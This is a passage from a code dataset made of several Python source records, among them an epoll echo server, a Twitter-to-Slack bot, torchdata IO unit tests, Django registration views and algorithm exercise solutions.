OrCondition(Condition):\n def __init__(self, conditions, negate=False):\n self.type = Condition.Type.OR\n self.conditions = conditions\n self.negate = negate\n","sub_path":"metis/metis/core/query/condition.py","file_name":"condition.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"563063545","text":"\"\"\"\n基于epoll的IO并发模型\n\"\"\"\nfrom socket import *\nfrom select import *\nHOST=\"0.0.0.0\"\nPORT=8888\nADDR=(HOST,PORT)\nsockfd=socket()\nsockfd.bind(ADDR)\nsockfd.listen(5)\n#IO多路复用往往与非阻塞IO一起使用,避免耗时较长的处理造成卡顿\nsockfd.setblocking(False)\n#初始化\n#建立文件描述符与对象的关系地图,与关注的IO保持一致\nep = epoll()#创建epoll对象\nep.register(sockfd, EPOLLIN)\nmap={\n sockfd.fileno():sockfd\n}\nwhile True:#里边不能出现死循环\n events=ep.poll()#循环监控\n #对监控的套接字分情况讨论(总共俩种情况,监听套接字和连接套接字)\n for fd,event in events:\n if fd ==sockfd.fileno():\n #处理客户端连接\n connfd, addr = map[fd].accept()\n print(\"connect from\", addr)\n ep.register(connfd, EPOLLIN)\n connfd.setblocking(False)\n map[connfd.fileno()]=connfd#随时在字典添加关注的connfd\n else:#elif event==POLLIN:\n data=map[fd].recv(1024).decode()\n if not data:#当客户端退出的时候,避免这个循环再返回空打印空,需要删除监控\n ep.unregister(fd)#取消关注\n del map[fd]\n map[fd].close()\n continue#继续处理下一个\n print(data)\n map[fd].send(b\"ok\")","sub_path":"note-month02/03network/day17 IO hTTP/17-3 epoll-sever.py","file_name":"17-3 epoll-sever.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"314898558","text":"import os\nfrom typing import List, Optional\nimport time\nimport logging\n\nfrom twitter import Api, Status, User\nfrom slack import WebClient\n\nlogger = logging.getLogger(__name__)\n\n\ndef pull_and_publish(\n consumer_key: str,\n consumer_secret: str,\n access_token: str,\n access_token_secret: str,\n slack_token: str,\n slack_channel: str,\n wait_time: int,\n):\n \"\"\"Continuously pull recent Twitter statuses and publish them to Slack.\"\"\"\n\n twitter_api = Api(consumer_key, consumer_secret, access_token, access_token_secret)\n\n slack_client = WebClient(slack_token)\n users_to_exclude = ['Ethereum_MXN', 'someOtherUser', 'someOtherUser2']\n\n since_id = None\n while True:\n #statuses = twitter_api.GetSearch(raw_query=\"q=-Precio%20(from%3Abitso)%20(to%3Abitso)%20(%40bitso)&src=typed_query&f=live\")\n statuses = twitter_api.GetSearch(raw_query=\"q=bitso%20&result_type=recent&since_id={}\".format(since_id))\n\n if statuses:\n logger.info(f\"Got {len(statuses)} statuses from Twitter.\")\n count = 0\n publishable_statuses = set()\n for status in reversed(statuses):\n user = status.user\n screen_name = user.screen_name\n if any(u in screen_name for u in users_to_exclude):\n count += 1\n\n else:\n twitter_link = f\"http://twitter.com/{user.screen_name}/status/{status.id}\"\n _publish(slack_channel, slack_client, twitter_link, user)\n\n since_id = status.id\n\n logger.info(f\"Skipped {count} statuses from excluded users.\")\n\n else:\n logger.info(\"No new twitter statuses.\")\n\n time.sleep(wait_time)\n\n\ndef _publish(\n slack_channel: str,\n slack_client: WebClient,\n twitter_link: str,\n user: User,\n message: str = \"View on Twitter\",\n):\n \"\"\"Format the slack post text and publish to slack_channel.\"\"\"\n slack_post_text = f\"<{twitter_link}|{message}>\"\n\n slack_client.chat_postMessage(\n text=slack_post_text,\n channel=slack_channel,\n icon_url=user.profile_image_url,\n username=user.name,\n )\n\n logger.info(f\"Posted status from {user.name} to slack on '{slack_channel}'.\")\n time.sleep(5) # give slack time to format the posts\n\n\ndef _retrieve_keys() -> List[str]:\n \"\"\"Retrieve the necessary keys to communicate with Twitter and Slack APIs.\"\"\"\n env_vars = (\n \"TWITTER_CONSUMER_KEY\",\n \"TWITTER_CONSUMER_SECRET\",\n \"TWITTER_ACCESS_TOKEN\",\n \"TWITTER_ACCESS_TOKEN_SECRET\",\n \"SLACK_API_TOKEN\",\n \"TWITTER_ON_SLACK_CHANNEL\",\n )\n\n keys = []\n\n for env_var in env_vars:\n value = os.environ.get(env_var)\n if value is None:\n raise KeyError(f\"Missing required env var: {env_var}\")\n\n keys.append(value)\n return keys\n\n\ndef main(wait_time: int = 120):\n \"\"\"Continuously pull twitter statuses and publish them to a slack channel.\"\"\"\n keys = _retrieve_keys()\n\n logging.basicConfig(\n level=logging.INFO,\n format=\"%(levelname)s %(asctime)s %(message)s\",\n datefmt=\"%m-%d %H:%M:%S\",\n )\n pull_and_publish(*keys, wait_time=wait_time)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"251334513","text":"from datetime import datetime\nfrom unittest import TestCase, main\nfrom unittest.mock import MagicMock, patch\nimport json\n\nfrom dateutil.tz import tzutc\nfrom falcon.response import Response\nfrom falcon.request import Request\nfrom falcon import HTTP_200, HTTPInternalServerError\n\nfrom websrvc.web.marshaling import marshal_with\nfrom websrvc.web.schemas import PageContentSchema\nfrom websrvc.downloaders.models import PageContent\nfrom websrvc.operations.models import Url\n\n\nclass MarshalWithTests(TestCase):\n def test_marshal_with(self):\n downloaded_at = datetime(2018, 1, 1, tzinfo=tzutc())\n page_content = PageContent(\n url=Url(\"http://www.example.com\"),\n content=\"hello world\",\n status_code=200,\n headers={\n \"Content-Type\": \"text/plain\"\n },\n downloaded_at=downloaded_at\n )\n\n f = MagicMock()\n f.return_value = page_content\n req = Request(MagicMock())\n resp = Response()\n\n decorated_function = marshal_with(PageContentSchema)(f)\n decorated_function(None, req, resp)\n\n self.assertEqual(resp.content_type, \"application/json\")\n self.assertEqual(resp.status, HTTP_200)\n\n response = json.loads(resp.body)\n self.assertDictEqual(\n response,\n {\n \"content\": \"hello world\",\n \"headers\": {\n \"Content-Type\": \"text/plain\"\n },\n \"status_code\": 200,\n \"url\": \"http://www.example.com\",\n \"downloaded_at\": \"2018-01-01 00:00:00\"\n }\n )\n\n f.assert_called_once_with(None, req, resp)\n\n @patch.object(PageContentSchema, \"dumps\")\n def test_schema_marshaling_raised_exception(self, dumps_mock):\n dumps_mock.side_effect = Exception\n\n downloaded_at = datetime(2018, 1, 1, tzinfo=tzutc())\n page_content = PageContent(\n url=Url(\"http://www.example.com\"),\n content=\"hello world\",\n status_code=200,\n headers={\n \"Content-Type\": \"text/plain\"\n },\n downloaded_at=downloaded_at\n )\n\n f = MagicMock()\n f.return_value = page_content\n req = Request(MagicMock())\n resp = Response()\n\n with self.assertRaises(HTTPInternalServerError):\n decorated_function = marshal_with(PageContentSchema)(f)\n decorated_function(None, req, resp)\n\n f.assert_called_once_with(None, req, resp)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"tests/test_web_marshaling.py","file_name":"test_web_marshaling.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"54002717","text":"# Copyright (c) Facebook, Inc. and its affiliates.\nimport expecttest\nimport hashlib\nimport itertools\nimport lzma\nimport os\nimport tarfile\nimport unittest\nimport warnings\nimport zipfile\n\nfrom json.decoder import JSONDecodeError\n\nfrom torch.utils.data.datapipes.map import SequenceWrapper\nfrom torchdata.datapipes.iter import (\n FileLister,\n FileLoader,\n IterableWrapper,\n MapZipper,\n IoPathFileLister,\n IoPathFileLoader,\n CSVParser,\n CSVDictParser,\n HashChecker,\n JsonParser,\n Saver,\n TarArchiveReader,\n ZipArchiveReader,\n XzFileReader,\n)\n\nfrom _utils._common_utils_for_test import (\n create_temp_dir,\n create_temp_files,\n get_name,\n reset_after_n_next_calls,\n)\n\ntry:\n import iopath # type: ignore[import] # noqa: F401\n\n HAS_IOPATH = True\nexcept ImportError:\n HAS_IOPATH = False\nskipIfNoIOPath = unittest.skipIf(not HAS_IOPATH, \"no iopath\")\n\n\nclass TestDataPipeLocalIO(expecttest.TestCase):\n def setUp(self):\n self.temp_dir = create_temp_dir()\n self.temp_files = create_temp_files(self.temp_dir)\n self.temp_sub_dir = create_temp_dir(self.temp_dir.name)\n self.temp_sub_files = create_temp_files(self.temp_sub_dir, 4, False)\n\n def tearDown(self):\n try:\n self.temp_sub_dir.cleanup()\n self.temp_dir.cleanup()\n except Exception as e:\n warnings.warn(f\"TestDataPipeLocalIO was not able to cleanup temp dir due to {e}\")\n\n def _custom_files_set_up(self, files):\n for fname, content in files.items():\n temp_file_path = os.path.join(self.temp_dir.name, fname)\n with open(temp_file_path, \"w\") as f:\n f.write(content)\n\n def _compressed_files_comparison_helper(self, expected_files, result, check_length: bool = True):\n if check_length:\n self.assertEqual(len(expected_files), len(result))\n for res, expected_file in itertools.zip_longest(result, expected_files):\n self.assertTrue(res is not None and expected_file is not None)\n self.assertEqual(os.path.basename(res[0]), os.path.basename(expected_file))\n with open(expected_file, \"rb\") as f:\n self.assertEqual(res[1].read(), f.read())\n res[1].close()\n\n def _unordered_compressed_files_comparison_helper(self, expected_files, result, check_length: bool = True):\n expected_names_to_files = {os.path.basename(f): f for f in expected_files}\n if check_length:\n self.assertEqual(len(expected_files), len(result))\n for res in result:\n fname = os.path.basename(res[0])\n self.assertTrue(fname is not None)\n self.assertTrue(fname in expected_names_to_files)\n with open(expected_names_to_files[fname], \"rb\") as f:\n self.assertEqual(res[1].read(), f.read())\n res[1].close()\n\n def test_csv_parser_iterdatapipe(self):\n def make_path(fname):\n return f\"{self.temp_dir.name}/{fname}\"\n\n csv_files = {\"1.csv\": \"key,item\\na,1\\nb,2\", \"empty.csv\": \"\", \"empty2.csv\": \"\\n\"}\n self._custom_files_set_up(csv_files)\n datapipe1 = IterableWrapper([make_path(fname) for fname in [\"1.csv\", \"empty.csv\", \"empty2.csv\"]])\n datapipe2 = FileLoader(datapipe1)\n datapipe3 = datapipe2.map(get_name)\n\n # Functional Test: yield one row at time from each file, skipping over empty content\n csv_parser_dp = datapipe3.parse_csv()\n expected_res = [[\"key\", \"item\"], [\"a\", \"1\"], [\"b\", \"2\"], []]\n self.assertEqual(expected_res, list(csv_parser_dp))\n\n # Functional Test: yield one row at time from each file, skipping over empty content and header\n csv_parser_dp = datapipe3.parse_csv(skip_lines=1)\n expected_res = [[\"a\", \"1\"], [\"b\", \"2\"]]\n self.assertEqual(expected_res, list(csv_parser_dp))\n\n # Functional Test: yield one row at time from each file with file name, skipping over empty content\n csv_parser_dp = datapipe3.parse_csv(return_path=True)\n expected_res = [(\"1.csv\", [\"key\", \"item\"]), (\"1.csv\", [\"a\", \"1\"]), (\"1.csv\", [\"b\", \"2\"]), (\"empty2.csv\", [])]\n self.assertEqual(expected_res, list(csv_parser_dp))\n\n # Reset Test:\n csv_parser_dp = CSVParser(datapipe3, return_path=True)\n n_elements_before_reset = 2\n res_before_reset, res_after_reset = reset_after_n_next_calls(csv_parser_dp, n_elements_before_reset)\n self.assertEqual(expected_res[:n_elements_before_reset], res_before_reset)\n self.assertEqual(expected_res, res_after_reset)\n\n # __len__ Test: length isn't implemented since it cannot be known ahead of time\n with self.assertRaisesRegex(TypeError, \"has no len\"):\n len(csv_parser_dp)\n\n def test_csv_dict_parser_iterdatapipe(self):\n def get_name(path_and_stream):\n return os.path.basename(path_and_stream[0]), path_and_stream[1]\n\n csv_files = {\"1.csv\": \"key,item\\na,1\\nb,2\", \"empty.csv\": \"\", \"empty2.csv\": \"\\n\"}\n self._custom_files_set_up(csv_files)\n datapipe1 = FileLister(self.temp_dir.name, \"*.csv\")\n datapipe2 = FileLoader(datapipe1)\n datapipe3 = datapipe2.map(get_name)\n\n # Functional Test: yield one row at a time as dict, with the first row being the header (key)\n csv_dict_parser_dp = datapipe3.parse_csv_as_dict()\n expected_res1 = [{\"key\": \"a\", \"item\": \"1\"}, {\"key\": \"b\", \"item\": \"2\"}]\n self.assertEqual(expected_res1, list(csv_dict_parser_dp))\n\n # Functional Test: yield one row at a time as dict, skip over first row, with the second row being the header\n csv_dict_parser_dp = datapipe3.parse_csv_as_dict(skip_lines=1)\n expected_res2 = [{\"a\": \"b\", \"1\": \"2\"}]\n self.assertEqual(expected_res2, list(csv_dict_parser_dp))\n\n # Functional Test: yield one row at a time as dict with file name, and the first row being the header (key)\n csv_dict_parser_dp = datapipe3.parse_csv_as_dict(return_path=True)\n expected_res3 = [(\"1.csv\", {\"key\": \"a\", \"item\": \"1\"}), (\"1.csv\", {\"key\": \"b\", \"item\": \"2\"})]\n self.assertEqual(expected_res3, list(csv_dict_parser_dp))\n\n # Reset Test\n csv_dict_parser_dp = CSVDictParser(datapipe3)\n expected_res4 = [{\"key\": \"a\", \"item\": \"1\"}, {\"key\": \"b\", \"item\": \"2\"}]\n n_elements_before_reset = 1\n res_before_reset, res_after_reset = reset_after_n_next_calls(csv_dict_parser_dp, n_elements_before_reset)\n self.assertEqual(expected_res4[:n_elements_before_reset], res_before_reset)\n self.assertEqual(expected_res4, res_after_reset)\n\n # __len__ Test: length isn't implemented since it cannot be known ahead of time\n with self.assertRaisesRegex(TypeError, \"has no len\"):\n len(csv_dict_parser_dp)\n\n def test_hash_checker_iterdatapipe(self):\n hash_dict = {}\n\n def fill_hash_dict():\n for path in self.temp_files:\n with open(path, \"r\") as f:\n hash_func = hashlib.sha256()\n content = f.read().encode(\"utf-8\")\n hash_func.update(content)\n hash_dict[path] = hash_func.hexdigest()\n\n fill_hash_dict()\n\n datapipe1 = FileLister(self.temp_dir.name, \"*\")\n datapipe2 = FileLoader(datapipe1)\n hash_check_dp = HashChecker(datapipe2, hash_dict)\n\n # Functional Test: Ensure the DataPipe values are unchanged if the hashes are the same\n for (expected_path, expected_stream), (actual_path, actual_stream) in zip(datapipe2, hash_check_dp):\n self.assertEqual(expected_path, actual_path)\n self.assertEqual(expected_stream.read(), actual_stream.read())\n\n # Functional Test: Ensure the rewind option works, and the stream is empty when there is no rewind\n hash_check_dp_no_reset = HashChecker(datapipe2, hash_dict, rewind=False)\n for (expected_path, _), (actual_path, actual_stream) in zip(datapipe2, hash_check_dp_no_reset):\n self.assertEqual(expected_path, actual_path)\n self.assertEqual(b\"\", actual_stream.read())\n\n # Functional Test: Error when file/path is not in hash_dict\n hash_check_dp = HashChecker(datapipe2, {})\n it = iter(hash_check_dp)\n with self.assertRaisesRegex(RuntimeError, \"Unspecified hash for file\"):\n next(it)\n\n # Functional Test: Error when the hash is different\n hash_dict[self.temp_files[0]] = \"WRONG HASH\"\n hash_check_dp = HashChecker(datapipe2, hash_dict)\n with self.assertRaisesRegex(RuntimeError, \"does not match\"):\n list(hash_check_dp)\n\n # Reset Test:\n fill_hash_dict() # Reset the dict with correct values because we changed it in the last test case\n hash_check_dp = datapipe2.check_hash(hash_dict)\n n_elements_before_reset = 2\n res_before_reset, res_after_reset = reset_after_n_next_calls(hash_check_dp, n_elements_before_reset)\n for (expected_path, expected_stream), (actual_path, actual_stream) in zip(datapipe2, res_before_reset):\n self.assertEqual(expected_path, actual_path)\n self.assertEqual(expected_stream.read(), actual_stream.read())\n for (expected_path, expected_stream), (actual_path, actual_stream) in zip(datapipe2, res_after_reset):\n self.assertEqual(expected_path, actual_path)\n self.assertEqual(expected_stream.read(), actual_stream.read())\n\n # __len__ Test: returns the length of source DataPipe\n with self.assertRaisesRegex(TypeError, \"FileLoaderIterDataPipe instance doesn't have valid length\"):\n len(hash_check_dp)\n\n def test_map_zipper_datapipe(self):\n source_dp = IterableWrapper(range(10))\n map_dp = SequenceWrapper([\"even\", \"odd\"])\n\n # Functional Test: ensure the hash join is working and return tuple by default\n def odd_even(i: int) -> int:\n return i % 2\n\n result_dp = source_dp.zip_with_map(map_dp, odd_even)\n\n def odd_even_string(i: int) -> str:\n return \"odd\" if i % 2 else \"even\"\n\n expected_res = [(i, odd_even_string(i)) for i in range(10)]\n self.assertEqual(expected_res, list(result_dp))\n\n # Functional Test: ensure that a custom merge function works\n def custom_merge(a, b):\n return f\"{a} is a {b} number.\"\n\n result_dp = source_dp.zip_with_map(map_dp, odd_even, custom_merge)\n expected_res2 = [f\"{i} is a {odd_even_string(i)} number.\" for i in range(10)]\n self.assertEqual(expected_res2, list(result_dp))\n\n # Functional Test: raises error when key is invalid\n def odd_even_bug(i: int) -> int:\n return 2 if i == 0 else i % 2\n\n result_dp = MapZipper(source_dp, map_dp, odd_even_bug)\n it = iter(result_dp)\n with self.assertRaisesRegex(KeyError, \"is not a valid key in the given MapDataPipe\"):\n next(it)\n\n # Reset Test:\n n_elements_before_reset = 4\n result_dp = source_dp.zip_with_map(map_dp, odd_even)\n res_before_reset, res_after_reset = reset_after_n_next_calls(result_dp, n_elements_before_reset)\n self.assertEqual(expected_res[:n_elements_before_reset], res_before_reset)\n self.assertEqual(expected_res, res_after_reset)\n\n # __len__ Test: returns the length of source DataPipe\n result_dp = source_dp.zip_with_map(map_dp, odd_even)\n self.assertEqual(len(source_dp), len(result_dp))\n\n def test_json_parser_iterdatapipe(self):\n def is_empty_json(path_and_stream):\n return path_and_stream[0] == \"empty.json\"\n\n def is_nonempty_json(path_and_stream):\n return path_and_stream[0] != \"empty.json\"\n\n json_files = {\n \"1.json\": '[\"foo\", {\"bar\":[\"baz\", null, 1.0, 2]}]',\n \"empty.json\": \"\",\n \"2.json\": '{\"__complex__\": true, \"real\": 1, \"imag\": 2}',\n }\n self._custom_files_set_up(json_files)\n datapipe1 = IterableWrapper([f\"{self.temp_dir.name}/{fname}\" for fname in [\"empty.json\", \"1.json\", \"2.json\"]])\n datapipe2 = FileLoader(datapipe1)\n datapipe3 = datapipe2.map(get_name)\n datapipe_empty = datapipe3.filter(is_empty_json)\n datapipe_nonempty = datapipe3.filter(is_nonempty_json)\n\n empty_json_dp = datapipe_empty.parse_json_files()\n it = iter(empty_json_dp)\n # Functional Test: dp fails when empty JSON file is given\n with self.assertRaisesRegex(JSONDecodeError, \"Expecting value\"):\n next(it)\n\n # Functional Test: dp yields one json file at a time\n json_dp = datapipe_nonempty.parse_json_files()\n expected_res = [\n (\"1.json\", [\"foo\", {\"bar\": [\"baz\", None, 1.0, 2]}]),\n (\"2.json\", {\"__complex__\": True, \"real\": 1, \"imag\": 2}),\n ]\n self.assertEqual(expected_res, list(json_dp))\n\n # Reset Test:\n json_dp = JsonParser(datapipe_nonempty)\n n_elements_before_reset = 1\n res_before_reset, res_after_reset = reset_after_n_next_calls(json_dp, n_elements_before_reset)\n self.assertEqual(expected_res[:n_elements_before_reset], res_before_reset)\n self.assertEqual(expected_res, res_after_reset)\n\n # __len__ Test: length isn't implemented since it cannot be known ahead of time\n with self.assertRaisesRegex(TypeError, \"len\"):\n len(json_dp)\n\n def test_saver_iterdatapipe(self):\n def filepath_fn(name: str) -> str:\n return os.path.join(self.temp_dir.name, os.path.basename(name))\n\n # Functional Test: Saving some data\n name_to_data = {\"1.txt\": b\"DATA1\", \"2.txt\": b\"DATA2\", \"3.txt\": b\"DATA3\"}\n source_dp = IterableWrapper(sorted(name_to_data.items()))\n saver_dp = source_dp.save_to_disk(filepath_fn=filepath_fn)\n res_file_paths = list(saver_dp)\n expected_paths = [filepath_fn(name) for name in name_to_data.keys()]\n self.assertEqual(expected_paths, res_file_paths)\n for name in name_to_data.keys():\n p = filepath_fn(name)\n with open(p, \"r\") as f:\n self.assertEqual(name_to_data[name], f.read().encode())\n\n # Reset Test:\n saver_dp = Saver(source_dp, filepath_fn=filepath_fn)\n n_elements_before_reset = 2\n res_before_reset, res_after_reset = reset_after_n_next_calls(saver_dp, n_elements_before_reset)\n self.assertEqual([filepath_fn(\"1.txt\"), filepath_fn(\"2.txt\")], res_before_reset)\n self.assertEqual(expected_paths, res_after_reset)\n for name in name_to_data.keys():\n p = filepath_fn(name)\n with open(p, \"r\") as f:\n self.assertEqual(name_to_data[name], f.read().encode())\n\n # __len__ Test: returns the length of source DataPipe\n self.assertEqual(3, len(saver_dp))\n\n def test_tar_archive_reader_iterdatapipe(self):\n temp_tarfile_pathname = os.path.join(self.temp_dir.name, \"test_tar.tar\")\n with tarfile.open(temp_tarfile_pathname, \"w:gz\") as tar:\n tar.add(self.temp_files[0])\n tar.add(self.temp_files[1])\n tar.add(self.temp_files[2])\n datapipe1 = FileLister(self.temp_dir.name, \"*.tar\")\n datapipe2 = FileLoader(datapipe1)\n tar_reader_dp = TarArchiveReader(datapipe2)\n\n # Functional Test: Read extracted files before reaching the end of the tarfile\n self._compressed_files_comparison_helper(self.temp_files, tar_reader_dp, check_length=False)\n\n # Functional Test: Read extracted files after reaching the end of the tarfile\n data_refs = list(tar_reader_dp)\n self._compressed_files_comparison_helper(self.temp_files, data_refs)\n\n # Reset Test: reset the DataPipe after reading part of it\n tar_reader_dp = datapipe2.read_from_tar()\n n_elements_before_reset = 1\n res_before_reset, res_after_reset = reset_after_n_next_calls(tar_reader_dp, n_elements_before_reset)\n # Check result accumulated before reset\n self._compressed_files_comparison_helper(self.temp_files[:n_elements_before_reset], res_before_reset)\n # Check result accumulated after reset\n self._compressed_files_comparison_helper(self.temp_files, res_after_reset)\n\n # __len__ Test: doesn't have valid length\n with self.assertRaisesRegex(TypeError, \"instance doesn't have valid length\"):\n len(tar_reader_dp)\n\n def test_zip_archive_reader_iterdatapipe(self):\n temp_zipfile_pathname = os.path.join(self.temp_dir.name, \"test_zip.zip\")\n with zipfile.ZipFile(temp_zipfile_pathname, \"w\") as myzip:\n myzip.write(self.temp_files[0])\n myzip.write(self.temp_files[1])\n myzip.write(self.temp_files[2])\n datapipe1 = FileLister(self.temp_dir.name, \"*.zip\")\n datapipe2 = FileLoader(datapipe1)\n zip_reader_dp = ZipArchiveReader(datapipe2)\n\n # Functional Test: read extracted files before reaching the end of the zipfile\n self._compressed_files_comparison_helper(self.temp_files, zip_reader_dp, check_length=False)\n\n # Functional Test: read extracted files after reaching the end of the zipile\n data_refs = list(zip_reader_dp)\n self._compressed_files_comparison_helper(self.temp_files, data_refs)\n\n # Reset Test: reset the DataPipe after reading part of it\n zip_reader_dp = datapipe2.read_from_zip()\n n_elements_before_reset = 1\n res_before_reset, res_after_reset = reset_after_n_next_calls(zip_reader_dp, n_elements_before_reset)\n # Check the results accumulated before reset\n self._compressed_files_comparison_helper(self.temp_files[:n_elements_before_reset], res_before_reset)\n # Check the results accumulated after reset\n self._compressed_files_comparison_helper(self.temp_files, res_after_reset)\n\n # __len__ Test: doesn't have valid length\n with self.assertRaisesRegex(TypeError, \"instance doesn't have valid length\"):\n len(zip_reader_dp)\n\n def test_xz_archive_reader_iterdatapipe(self):\n # Worth noting that the .tar and .zip tests write multiple files into the same compressed file\n # Whereas we create multiple .xz files in the same directories below.\n for path in self.temp_files:\n fname = os.path.basename(path)\n temp_xzfile_pathname = os.path.join(self.temp_dir.name, f\"{fname}.xz\")\n with open(path, \"r\") as f:\n with lzma.open(temp_xzfile_pathname, \"w\") as xz:\n xz.write(f.read().encode(\"utf-8\"))\n datapipe1 = FileLister(self.temp_dir.name, \"*.xz\")\n datapipe2 = FileLoader(datapipe1)\n xz_reader_dp = XzFileReader(datapipe2)\n\n # Functional Test: Read extracted files before reaching the end of the xzfile\n self._unordered_compressed_files_comparison_helper(self.temp_files, xz_reader_dp, check_length=False)\n\n # Functional Test: Read extracted files after reaching the end of the xzfile\n data_refs = list(xz_reader_dp)\n self._unordered_compressed_files_comparison_helper(self.temp_files, data_refs)\n\n # Reset Test: reset the DataPipe after reading part of it\n xz_reader_dp = datapipe2.read_from_xz()\n n_elements_before_reset = 1\n res_before_reset, res_after_reset = reset_after_n_next_calls(xz_reader_dp, n_elements_before_reset)\n # Check result accumulated before reset\n self.assertEqual(n_elements_before_reset, len(res_before_reset))\n self._unordered_compressed_files_comparison_helper(self.temp_files, res_before_reset, check_length=False)\n # Check result accumulated after reset\n self._unordered_compressed_files_comparison_helper(self.temp_files, res_after_reset)\n\n # Reset Test: Ensure the order is consistent between iterations\n for r1, r2 in zip(xz_reader_dp, xz_reader_dp):\n self.assertEqual(r1[0], r2[0])\n\n # __len__ Test: doesn't have valid length\n with self.assertRaisesRegex(TypeError, \"instance doesn't have valid length\"):\n len(xz_reader_dp)\n\n # TODO (ejguan): this test currently only covers reading from local\n # filesystem. It needs to be modified once test data can be stored on\n # gdrive/s3/onedrive\n @skipIfNoIOPath\n def test_io_path_file_lister_iterdatapipe(self):\n datapipe = IoPathFileLister(root=self.temp_sub_dir.name)\n\n # check all file paths within sub_folder are listed\n for path in datapipe:\n self.assertTrue(path in self.temp_sub_files)\n\n @skipIfNoIOPath\n def test_io_path_file_loader_iterdatapipe(self):\n datapipe1 = IoPathFileLister(root=self.temp_sub_dir.name)\n datapipe2 = IoPathFileLoader(datapipe1)\n\n # check contents of file match\n for _, f in datapipe2:\n self.assertEqual(f.read(), \"0123456789abcdef\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"test/test_local_io.py","file_name":"test_local_io.py","file_ext":"py","file_size_in_byte":20979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"180063748","text":"class Solution(object):\n def maximalRectangle(self, matrix):\n \"\"\"\n :type matrix: List[List[str]]\n :rtype: int\n \"\"\"\n if not matrix: return 0\n m, n=len(matrix), len(matrix[0])\n left, right=[0]*n, [n]*n\n height, rst=[0]*n, 0\n for i in xrange(m):\n curr_left, curr_right=0, n\n for j in xrange(n):\n if matrix[i][j]=='1':\n height[j]+=1\n else:\n height[j]=0\n for j in xrange(n):\n if matrix[i][j]=='1':\n left[j]=max(curr_left, left[j])\n else:\n curr_left=j+1\n left[j]=0\n for j in xrange(n-1, -1, -1):\n if matrix[i][j]=='1':\n right[j]=min(curr_right, right[j])\n else:\n curr_right=j\n right[j]=n\n for j in xrange(n):\n rst=max(rst, (right[j]-left[j])*height[j])\n return rst \n ","sub_path":"85-Maximal-Rectangle/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"615940051","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom .forms import UserRegistrationForm, User_p, User_t\nfrom django.contrib.auth.models import User\nfrom .models import User_parents,User_teachers\n#from django.contrib.auth.decorators import login_required\nfrom second import models as sm\nfrom kinder.settings import EMAIL_HOST_USER\nfrom . import forms\nfrom django.core.mail import send_mail\n\n\n\ndef register_parent(request):\n if request.method == 'POST':\n form1 = UserRegistrationForm(request.POST)\n form_parents = User_p(request.POST)\n students=sm.SID.objects.all()\n parents=User_parents.objects.all()\n \n if form1.is_valid() and form_parents.is_valid():\n p=True\n for parent in parents:\n if form_parents.cleaned_data.get('ChildID') == parent.ChildID:\n p=False\n access=False\n\n for student in students:\n if form_parents.cleaned_data.get('ChildID') == student.childid and p:\n access=True\n if access:\n user=form1.save()\n profile= form_parents.save(commit=False)\n profile.user=user\n profile.save()\n\n username = form1.cleaned_data.get('username')\n messages.success(request, f'Account created for {username}')\n return redirect('login')\n else:\n form1 = UserRegistrationForm()\n form_parents = User_p()\n\n return render(request, 'register_parent.html', {'form1': form1, 'form_parents':form_parents})\n\n\ndef register_teacher(request):\n if request.method == 'POST':\n form2 = UserRegistrationForm(request.POST)\n form_teachers = User_t(request.POST)\n schools=sm.School.objects.all()\n\n if form2.is_valid() and form_teachers.is_valid():\n access=False\n for school in schools:\n \n if school.schcode == form_teachers.cleaned_data.get('schoolCode') and str(form_teachers.cleaned_data.get('school')) == school.sch:\n access=True\n if access:\n user=form2.save()\n profile1= form_teachers.save(commit=False)\n profile1.user=user\n profile1.save()\n\n username = form2.cleaned_data.get('username')\n messages.success(request, f'Account created for {username}')\n return redirect('login')\n else:\n form2 = UserRegistrationForm()\n form_teachers = User_t()\n\n return render(request, 'register_teacher.html', {'form2': form2, 'form_teachers':form_teachers})\n\n# Create your views here.\n#@login_required\n#def profile(request):\n # return render(request,'profile.html')\n\ndef subscribe(request):\n sub = forms.Subscribe()\n if request.method == 'POST':\n sub = forms.Subscribe(request.POST)\n subject = 'Welcome to Kinder'\n message = 'Hope you are enjoying our website!! You can change your password by following the link: http://localhost:8000/password-reset-confirm/MjQ/set-password/'\n recepient = str(sub['Email'].value())\n send_mail(subject,\n message, EMAIL_HOST_USER, [recepient], fail_silently = False)\n return render(request, 'success.html',\n {'recepient': recepient})\n return render(request, 'reset.html', {'form':sub})","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"214590933","text":"\"\"\"\nauthor : Lee Sang Min\ngithub : https://github.com/sangm1n\ne-mail : dltkd96als@naver.com\n\ntitle : 금광\ndescription : Dynamic Programming\n\"\"\"\n\nT = int(input())\nfor _ in range(T):\n N, M = map(int, input().split())\n tmp = list(map(int, input().split()))\n gold = []\n for i in range(0, N*M, M):\n gold.append(list(tmp[i:i+M]))\n\n base = [[0] * M for _ in range(N)]\n\n for i in range(N):\n base[i][0] = gold[i][0]\n\n for j in range(1, M):\n for i in range(N):\n now = gold[i][j]\n if i - 1 < 0:\n base[i][j] = max(base[i][j-1] + now, base[i+1][j-1] + now)\n elif i + 1 > N - 1:\n base[i][j] = max(base[i-1][j-1] + now, base[i][j-1] + now)\n else:\n base[i][j] = max(base[i-1][j-1] + now, base[i][j-1] + now, base[i+1][j-1] + now)\n\n result = 0\n for i in range(N):\n if base[i][-1] > result:\n result = base[i][-1]\n\n print(result)\n","sub_path":"Problem 